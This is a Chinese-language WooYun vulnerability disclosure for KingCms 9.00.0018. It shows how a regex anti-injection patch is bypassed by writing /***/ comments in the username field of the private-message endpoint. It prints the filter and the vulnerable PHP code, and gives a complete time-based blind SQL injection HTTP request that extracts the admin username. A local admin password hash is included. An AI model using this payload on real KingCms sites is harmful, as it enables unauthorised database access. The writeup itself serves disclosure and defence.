当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0134874

漏洞标题:KingCms最新版绕过补丁(版本:9.00.0018)注入一枚

相关厂商:KingCms

漏洞作者: 路人甲

提交时间:2015-08-18 10:24

修复时间:2015-10-02 10:26

公开时间:2015-10-02 10:26

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-18: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-10-02: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

KingCms最新版绕过补丁(版本:9.00.0018)注入一枚

详细说明:

写在前面:漏洞存在于用户发送站内信的地方,因此,测试时需要注册一个前台的普通用户。
朋友的公司购买了kingcms的授权,最近kingcms官方给我朋友发来了升级包,升级说明当中说已经解决了已知的安全问题,今天再帮朋友测试下。
自从朋友购买,已经经过了9.00.0015,9.00.0016,9.00.0017,现在更新到了9.00.0018,kingcms服务还不错。9.00.0018的更新时间是2015.07.23,见官网http://www.kingcms.com/download/k9/
另:由于kingcms使用的是云后台,安装过程与一般的cms有点不同,复现时安装请参考官方:http://www.focuznet.com/k9/t3012/  (特别是安装的后面部分操作)
既然是绕过补丁,那还是先来回顾一下以前的过滤版本,主要包括9.00.0014及以前,9.00.0015版,9.00.0016-9.00.0018版。我们来具体研究学习一下:
9.00.0014版及以前各版本:
直接获得用户提交的$where参数,没有过滤,直接带入了SQL执行。
9.00.0015版:
由于我已前提交的漏洞已经公开,在9.00.0015版中添加了过滤,打了补丁,这里只把过滤方法拿出来,方便后面对比。

/**
         * 参考Discuz!及阿里云 云体检通用漏洞防护补丁
         */
        public function safecheck($sql){
                $checkcmd = array('SEL', 'UPD', 'INS', 'REP', 'DEL');
                $cmd = strtoupper(substr(trim($sql), 0, 3));
                if (!in_array($cmd, $checkcmd)) {
                        return TRUE;
                }
                $disablesql = '((load_file|hex|substring|if|ord|char)\()|(intooutfile|intodumpfile|unionselect|\(select|unionall|uniondistinct|uniondistinct)';
                if (preg_match("/" . $disablesql . "/is", $sql) == 1) {
                        return FALSE;
                }
                return TRUE;
        }
}


9.00.0016-9.00.0018版:
由于上面的补丁被成功绕过,kingcms又进行了修复更新,具体的补丁是这样的。

/**
* 参考Discuz!及阿里云 云体检通用漏洞防护补丁
*/
public function safecheck($sql){
$checkcmd = array('SEL', 'UPD', 'INS', 'REP', 'DEL');
$cmd = strtoupper(substr(trim($sql), 0, 3));
if (!in_array($cmd, $checkcmd)) {
return TRUE;
}
$disablesql = '((load_file|hex|substring|if|ord|char)\()|(intooutfile|intodumpfile|unionselect|\(select|unionall|uniondistinct|uniondistinct)';
if (preg_match("/" . $disablesql . "/is", str_replace('/**/', '', $sql)) == 1) {
return FALSE;
}
return TRUE;
}


可以看到这两次补本的最大不同就是最新版过滤了/**/,只所以过滤/**/,是因为我在9.00.0015版中使用/**/绕过了kingcms使用正则表达式进行防注过滤的补丁,这次提交的漏洞将绕过kingcms的最新补丁进行注入。
注入点:POST /user/pm.php?CMD=post
注入参数:username 问题文件在/user/pm.php

function _post(){  
$u=new user;extract($u->info);;
if (!$islogin) kc_tip('请先登录!');

if(METHOD=='POST'){
$str=new str;
$db=new db;
if(empty($_POST['username'])) kc_tip('用户名不能为空!','form');
if(empty($_POST['content'])) kc_tip('短信内容不能为空!','form');
if($str->len($_POST['content'])>1000) kc_tip('短信不能超过1000字!');
$usernames=preg_split('/[\s\,]+/',$_POST['username']);



$res=$db->getRows('%s_user','userid',"username in ('".implode("','",$usernames)."')");
if(empty($res)) kc_tip('收件人名称有误!','form');
$array=array();
foreach($res as $rs){
$array[]=array(
'userid'=>$rs['userid'],
'puserid'=>$userid,
'content'=>$_POST['content'],
'date'=>time(),
);
}
$db->insert('%s_user_pm',$array,1);
kc_tip('信息发送成功!','ok');
}
$s='<table class="k_table_form">';
$s.='<tr><th>收件人</th><td><input type="text" name="username" value="'.kc_val($_POST,'username').'" class="k_in w200"/><em>多个用户逗号分开</em></td></tr>';
$s.='<tr><th>短信内容</th><td><textarea name="content" class="k_in w400 h150"></textarea></td></tr>';
$s.='</table>';
kc_ajax(array(
'TITLE'=>'发信息',
'MAIN'=>$s,
'ID'=>'k_ajax',
'WIDTH'=>580,
'HEIGHT'=>220,
'BUTTON'=>'<button onclick="$.kc_ajax({URL:\''.FULLURL.DIR.'user/pm.php\',CMD:\'post\',FORM:\'k_ajaxForm\',METHOD:\'POST\'})">发送</button>',
));
}


可以看到kingmcs使用preg_split对username进行了处理,我们分析一下这个正则,它的作用是通过空格或逗号把username进行分隔,因此,我们的exp中不能出现空格符和逗号。然后执行了getRows(),跟进

public function getRows($table,$insql='*',$where=null,$order=null,$limit=null,$group=null) {
$table=str_replace('%s',DB_PRE,$table);
$sql="SELECT $insql FROM $table ";
$sql.= empty($where) ? '' : " WHERE $where";
$sql.= empty($group) ? '' : " GROUP BY $group";
$sql.= empty($order) ? '' : " ORDER BY $order";
$sql.= empty($limit) ? '' : " LIMIT $limit";
return $this->get($sql);
}


执行了$this->get($sql),去看看$this->get

public function get($sql) {
$res=array();
$this->query($sql);
if (empty($this->query_ID)) {
return array();
}
$rows=mysql_num_rows($this->query_ID);
for($i=0;$i<$rows;$i++) {
if(!mysql_data_seek($this->query_ID,$i)) {
kc_tip('<textarea>'.htmlspecialchars($_sql).'</textarea>');
}
$rs=mysql_fetch_array($this->query_ID);
foreach ($rs as $k=>$r) {
if (is_int($k) && $k!==0) {
unset($rs[$k]);
}
}
$res[$i]=$rs;
}
//释放资源
$this->free();
return $res;
}


执行了query(),跟进

public function query($sql) {
if(!$this->safecheck($sql)){
if(AJAX){
$tip='数据查询错误:'.$sql.'\n';
}else{
$tip='<strong style="color:#C00;display:block;line-height:50px;font-size:20px;">数据查询错误:'.$sql.'</strong>';
}
kc_tip($tip,'form');
}
if(!isset($this->link)) {
$this->connect();//判断数据库连接是否可用
}
@mysql_query('set names '.DB_CHARSET);//设置字符集
$this->query_ID = @mysql_query($sql);
//错误反馈
$errid=mysql_errno();
if(!empty($errid) && $this->debug==true){
echo('<strong style="color:#C00;display:block;line-height:50px;font-size:20px;">'.$errid.') 数据查询错误:'.mysql_error().'</strong><p>'.$sql.'</p>');
}
return $this->query_ID;
}


在query()中首先执行了$this->safecheck($sql),这个就是过滤方法,也是本次测试中要重点突破的过渡方法。

/**
* 参考Discuz!及阿里云 云体检通用漏洞防护补丁
*/
public function safecheck($sql){
$checkcmd = array('SEL', 'UPD', 'INS', 'REP', 'DEL');
$cmd = strtoupper(substr(trim($sql), 0, 3));
if (!in_array($cmd, $checkcmd)) {
return TRUE;
}
$disablesql = '((load_file|hex|substring|if|ord|char)\()|(intooutfile|intodumpfile|unionselect|\(select|unionall|uniondistinct|uniondistinct)';
if (preg_match("/" . $disablesql . "/is", str_replace('/**/', '', $sql)) == 1) {
return FALSE;
}
return TRUE;
}


通过分析代码我们有了以下基本想法:
1、当str_replace把/**/过滤掉以后的语句,不能与$disablesql 正则匹配
2、构造的sql语句能被符合sql的语法规则。
最开始想使用/*/**/*/,当str_replace把中间的/**/去掉以后,正好剩下/**/,这样可以组成类似于(/**/select......这样的语句,不会被\(select|的正则匹配,但是/*/**/*/是错误的sql注释方法,sql语法有错误,因此不能绕过。
然后又想到使用/***/,str_replace('/**/', '', $sql)对/***/无效,而/***/在sql语句中与/**/作用相同,可以起到一个空格的作用,不影响sql语句的正常执行。成功绕过。
这里我们使用time-based injection,又因为不能使用空格和逗号,因此Payload如下:

POST /user/pm.php?CMD=post HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: userauth=ec15d79e36e14dd258cfff3d48b73d3510000
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 249
username=')or(/***/select/***/case/***/when(/***/select/***/username/***/from(/***/select*from/***/king_user)/***/as/***/a/***/where/***/userid=10000)/***/like/***/'a%'/***/then/***/sleep(1)/***/else/***/sleep(0)/***/end)%23&content=test&METHOD=POST


假时:

假副本.jpg


真时:

真副本.jpg


整个注入过程可以使用burpsuite 或者sqlmap 再或者自己写个脚本来跑,在本地进行测试,用户名为admin,密码为f6fdffe48c908deb0f4c3bd36c032e72

漏洞证明:

见 详细说明

修复方案:

修改过滤方法

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝